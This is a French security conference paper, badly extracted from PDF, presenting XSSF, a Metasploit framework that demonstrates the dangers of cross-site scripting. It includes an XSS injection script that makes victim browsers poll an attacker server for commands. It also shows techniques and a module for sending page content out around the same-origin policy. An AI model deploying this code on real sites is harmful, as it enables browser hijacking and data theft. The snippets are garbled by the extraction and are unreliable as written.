xssf : démontrer le danger des xss - sstic · ow, javascript malware is the new shell code ˛. ce...

35
XSSF : d´ emontrer le danger des XSS Ludovic Courgnaud CONIX Security 34 rue Guynemer, 92130 Issy-les-Moulineaux http://blog.conixsecurity.fr/ ludovic.courgnaud(@)conix.fr esum´ e Les attaques de type XSS (Cross-Site Scripting) demeurent parmi les plus ren- contr´ ees sur les applications web. Une question se pose alors : cette faille, souvent n´ eglig´ ee et incomprise, permet-elle vraiment de r´ ealiser des attaques dangereuses ? C’est ce que veut montrer cette communication au travers d’un nouvel outil d’attaque : XSSF. Directement int´ egr´ e au Framework Metasploit, il permet l’exploitation de cibles ` a large ´ echelle. La sensibilisation par la d´ emonstration : c’est toute la devise de XSSF, qui prouvera qu’une attaque par un Cross-Site Scripting ne s’arrˆ ete pas forc´ ement ` a un vol de cookie de session. . . 1 Introduction Aujourd’hui, Internet est devenu m´ econnaissable. Le web est compos´ e, de plus en plus, d’applications riches et dynamiques (blogs, forums, r´ eseaux sociaux, etc.) qui offrent toujours plus de fonctionnalit´ es et permettent surtout aux utilisateurs d’interagir avec le serveur et d’avoir une personnalisation des applications pour chacun d’entre eux. Cette utilisation g´ en´ eralis´ ee d’applications web, hautement interactives, a propuls´ e les navigateurs web du rang de simples visualiseurs HTML `acelui de plates-formes logicielles compl` etes. Un probl` eme majeur `a cela : l’application web devient garante de la s´ ecurit´ e d’un ensemble d’informations sensibles. De plus, personne ne veut utiliser un service si ses informations personnelles peuvent ˆ etre accessibles ou modifiables par d’autres. La s´ ecurisation d’une application est donc devenue un point inh´ erent ` a sa r´ eussite. Les vuln´ erabilit´ es de type Cross-Site Scripting sont, dans la pratique, largement rencontr´ ees sur les applications web (64% des applications test´ ees par la WhiteHat de 2006 `a aujourd’hui [1]). Cependant, souvent incomprises par des personnes sans eelles connaissances en s´ ecurit´ e, elles restent peu ou mal corrig´ ees dans de nombreux cas. C’est dans ce contexte que s’int` egre le framework XSS (XSSF) permettant de montrer de fa¸ con simple les nombreuses possibilit´ es offertes par le Cross-Site Scripting afin de ne plus seulement s’arrˆ eter ` a l’ouverture d’une popup ou ` a un vol de cookie.

Upload: others

Post on 24-Mar-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

XSSF demontrer le danger des XSS

Ludovic Courgnaud

CONIX Security34 rue Guynemer 92130 Issy-les-Moulineaux

httpblogconixsecurityfr

ludoviccourgnaud()conixfr

Resume Les attaques de type XSS (Cross-Site Scripting) demeurent parmi les plus ren-contrees sur les applications web Une question se pose alors cette faille souvent negligee etincomprise permet-elle vraiment de realiser des attaques dangereuses

Crsquoest ce que veut montrer cette communication au travers drsquoun nouvel outil drsquoattaque XSSFDirectement integre au Framework Metasploit il permet lrsquoexploitation de cibles a large echelle

La sensibilisation par la demonstration crsquoest toute la devise de XSSF qui prouvera qursquouneattaque par un Cross-Site Scripting ne srsquoarrete pas forcement a un vol de cookie de session

1 Introduction

Aujourdrsquohui Internet est devenu meconnaissable Le web est compose de plusen plus drsquoapplications riches et dynamiques (blogs forums reseaux sociaux etc)qui offrent toujours plus de fonctionnalites et permettent surtout aux utilisateursdrsquointeragir avec le serveur et drsquoavoir une personnalisation des applications pour chacundrsquoentre eux Cette utilisation generalisee drsquoapplications web hautement interactivesa propulse les navigateurs web du rang de simples visualiseurs HTML a celuide plates-formes logicielles completes Un probleme majeur a cela lrsquoapplicationweb devient garante de la securite drsquoun ensemble drsquoinformations sensibles De pluspersonne ne veut utiliser un service si ses informations personnelles peuvent etreaccessibles ou modifiables par drsquoautres La securisation drsquoune application est doncdevenue un point inherent a sa reussite

Les vulnerabilites de type Cross-Site Scripting sont dans la pratique largementrencontrees sur les applications web (asymp 64 des applications testees par la WhiteHatde 2006 a aujourdrsquohui [1]) Cependant souvent incomprises par des personnes sansreelles connaissances en securite elles restent peu ou mal corrigees dans de nombreuxcas

Crsquoest dans ce contexte que srsquointegre le framework XSS (XSSF) permettant demontrer de facon simple les nombreuses possibilites offertes par le Cross-Site Scriptingafin de ne plus seulement srsquoarreter a lrsquoouverture drsquoune popup ou a un vol de cookie

L Courgnaud 303

2 Cross-Site Scripting (XSS)

21 Definition

Le XSS consiste a injecter du code arbitraire dans une application web et ale faire executer dans un navigateur web ou dans nrsquoimporte quelle autre solutionpermettant lrsquointerpretation de code HTML [234567] Crsquoest une faille de securiteliee aux technologies du web avec une presence possible sur nrsquoimporte quelle applica-tion independamment du langage utilise (PHP ASP JSP etc) ou des technologies(serveurs SGBD etc) Le XSS est une technique drsquoattaque cote client et se sert dunavigateur de ses victimes afin drsquoexecuter du code malveillant Elle est rencontreesur des applications qui acceptent des parametres (en GET ou en POST) et lesre-affichent sans les avoir controles

Ce type de vulnerabilite ndash en principe plutot simple a detecter ndash est present surune grande majorite drsquoapplications web [1] La motivation principale des attaquantsest souvent drsquoacceder aux donnees personnelles drsquoutilisateurs legitimes Le plus cou-ramment elle sert a voler le cookie de session 1 (ensuite reutilise par lrsquoattaquant quipourra se faire passer pour la victime et ainsi acceder a ses informations)

Il existe deux grands types drsquoattaques XSS

ndash Les attaques volatiles (reflected XSS) representant la majorite des faillesXSS rencontrees (asymp 75 [3]) elles consistent a faire une injection (en GETou POST) via un lien ou une URL malicieuse qui sera ensuite envoye a lavictime Pour lrsquoexploitation lrsquoURL est souvent encodee afin de masquer leplus possible les parties potentiellement malicieuses Si la victime est amenee asuivre le lien son navigateur executera des actions non prevues par lrsquoapplicationweb Un exemple simple pour illustrer ce type de vulnerabilite est celui drsquounepage affichant a lrsquoutilisateur un parametre message passe dans lrsquoURL Si lecontenu du parametre est affiche directement sans avoir ete controle auparavantune personne malintentionnee peut realiser une attaque de type Cross-Site Scrip-ting en inserant du code JavaScript malicieux au lieu des donnees reellementattendues indexphpmessage=ltscriptgt alert(1) ltscriptgt A la reception de la page la victime executera le code malicieux forge parlrsquoattaquant

1 Information echangee entre un client et un serveur HTTP afin de garder une session active entre lesdeux

304 XSSF demontrer le danger des XSS

ndash Les attaques persistantes (stored XSS) bien que peu presentes (seulement25 de toutes les failles XSS) elles sont beaucoup plus puissantes que lesprecedentes dans le sens ou elles ne requierent aucune action particuliere de lapart de la victime Comme sur les XSS volatiles la vulnerabilite est due a unmanque de controles sur les donnees lors de leur traitement cote serveur et deleur affichage cote client Ce type drsquoattaque est present lorsqursquoil est possibledrsquoinserer du code dans une base de donnees ou dans un fichier lie a lrsquoapplicationrendant ainsi le code malicieux persistant De ce fait une simple visite sur lapage servira a declencher le script malicieux et ce sans que lrsquoattaquant nrsquoaitdrsquointeraction directe avec la victime Lrsquoattaque est frequemment rencontree surdes applications proposant des interactions entre les utilisateurs (forums blogsreseaux sociaux etc)

22 Portee et exploitation de la vulnerabilite

Grace a lrsquoAPI DOM 2 lrsquoinjection offre un acces en lecture et en ecriture a lrsquoen-semble de la page chargee du cote de la victime Il est donc possible en reecrivantla page de la detourner de son usage legitime afin par exemple de la rediriger versun site malicieux lui voler des informations sensibles lui faire executer des requetessans qursquoelle ne srsquoen rende compte etc

Les possibilites offertes par cet acces privilegie aux differents elements de la pagesont enormes si bien que Jeremiah Grossman [8] sous-titrait son livre sur les attaquesXSS en 2007 XSS is the new buffer overflow JavaScript Malware is the new shellcode Ce potentiel qursquoont les failles XSS est aussi du a la grande evolution descapacites du JavaScript au cours des dernieres annees En effet sa puissance permetdesormais de faire tourner des applications riches dans le navigateur web Nousciterons les exemples de Google Gears Google Documents EyeOS et bien drsquoautres

Lors drsquoune attaque applicative les privileges accordes a lrsquoattaquant sont ceuxaccordes au processus qui aura permis lrsquoexecution du code machine (le but etantdrsquoattaquer un processus avec des droits eleves) Pour ce qui est du XSS le processusici correspond a la page web donc a des privileges sur un domaine donne des cookiesetc Dans le meilleur des cas avec une attaque XSS simple lrsquoattaquant peutelever ses privileges afin de prendre le controle sur le navigateur

2 Document Object Model (httpwwwxulfrxml-domhtml)

L Courgnaud 305

Cependant il nrsquoest pas impossible de combiner le XSS avec drsquoautres attaquesciblant le navigateur lui-meme ou lrsquoun de ses greffons Decouverte recemment (22decembre 2010) une faille (de type 0 day 3) dans lrsquoimport de feuilles de styles (CSS)sur Internet Explorer (comme il en existe beaucoup sur drsquoautres navigateurs et leursgreffons) permet de prendre un controle total cette fois-ci non plus sur le navigateurmais sur le systeme de la victime Internet Explorer etant souvent utilise (parti-culierement en entreprise) lrsquoattaque couplee a une faille de type XSS sur des sites aforte audience peut avoir des effets devastateurs sur un nombre important de victimesLe XSS devient alors une porte drsquoentree vers de nombreuses autres attaques secon-daires tres puissantes et touchant un nombre de personnes relativement important(on peut imaginer les degats drsquoune vulnerabilite XSS sur Facebook couplee a unefaille 0 day sur lrsquoun des navigateurs )

Afin drsquoexploiter une vulnerabilite XSS avec des attaques complexes il est possiblede faire appel a des ressources externes (placees sur un serveur malicieux par exemple)plutot que drsquoinserer directement tout le code dans le champ affecte Crsquoest cettetechnique qui est utilisee dans la plupart des cas pour realiser des attaques etrecuperer des donnees sur un serveur tiers

23 Same-Origin Policy (SOP)

Face aux attaques complexes possibles on peut se demander pourquoi un scriptcharge depuis un domaine malicieux est autorise a interagir avec des elements situessur un domaine legitime vulnerable En fait dans la theorie ceci est impossible gracea la SOP ou Same-Origin Policy Quand on srsquointeresse aux vulnerabilites de typeXSS la SOP est lrsquoelement cense limiter la portee drsquoune attaque

Si lrsquoon en revient a une comparaison avec les failles applicatives la SOP est aux at-taques web ce que la DEP (Data Execution Prevention 4) ou encore a lrsquoASLR (AddressSpace Layout Randomization 5) sont aux attaques systemes Elle est implementeedans tous les navigateurs recents (depuis Netscape 20) et a pour but drsquoempecherlrsquoacces (lecture ecriture) a des ressources dont le serveur est different de celui dontprovient la page en cours Concernant les XSS cela signifie qursquoune vulnerabilite sur undomaine A ne permettra pas a partir du navigateur cible drsquoenvoyer ou de recupererdes informations depuis un domaine B (malicieux ou non) Le navigateur se charge decontroler les echanges avec des serveurs tiers lors de la navigation sur une application

3 Lorsqursquoun exploit est disponible avant la sortie du patch permettant de proteger lrsquoapplication4 httpenwikipediaorgwikiData_Execution_Prevention

5 httpfrwikipediaorgwikiAddress_space_layout_randomization

306 XSSF demontrer le danger des XSS

Dans la pratique un script malicieux ne pourra pas effectuer de requetes (GETPOST etc) vers un domaine different de celui qui est vulnerable (avec lrsquoobjetXMLHttpRequest 6 par exemple)

Lrsquoorigine est definie en fonction de trois parametres et deux ressources sont dites dememe origine si ces trois valeurs sont exactement les memes

ndash Le nom du domainendash Le protocole utilisendash Le port TCP utilise

On imagine alors lrsquoimportance de cette politique de securite dont le role estdrsquoempecher par exemple qursquoune vulnerabilite sur httpwwwfacebookcom per-mette a un attaquant drsquoaller recuperer des donnees sur httpwwwgmailcom (avecune session probablement laissee active)

En plus drsquoempecher la recuperation des donnees depuis drsquoautres domaines crsquoestgrace a cette politique que lrsquoattaquant va etre bloque srsquoil veut acceder au perimetrelocal de la victime (serveurs internes reseau Intranet etc) depuis une vulnerabilitesur un domaine public

URL demandee Resultat Raison

httpwwwvulnerablecompagehtml OK Meme domaine meme port(80) meme protocole (http)

httpwwwvulnerablecomotherhtml OK Meme domaine meme portmeme protocole

httpwwwvulnerablecom81otherhtml ERREUR Port different

httpswwwvulnerablecomotherhtml ERREUR Protocole different

httpwwwgmailcomindexhtml ERREUR Domaine different

httpXXXYpagehtml ERREUR Domaine different

Table 1 Possibilites de chargement de ressources pour un script malicieux se trouvantsur http wwwvulnerablecomsearchphp (XXXX)

Cependant et heureusement pour la suite du projet XSSF il existe quelquespasse-droits a cette regle de securite tels que les IFRAMES ou le chargement deressources distantes Pour les objets de type JavaScript par exemple (ltscriptgt) il

6 httpfrwikipediaorgwikiXMLHttpRequest

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

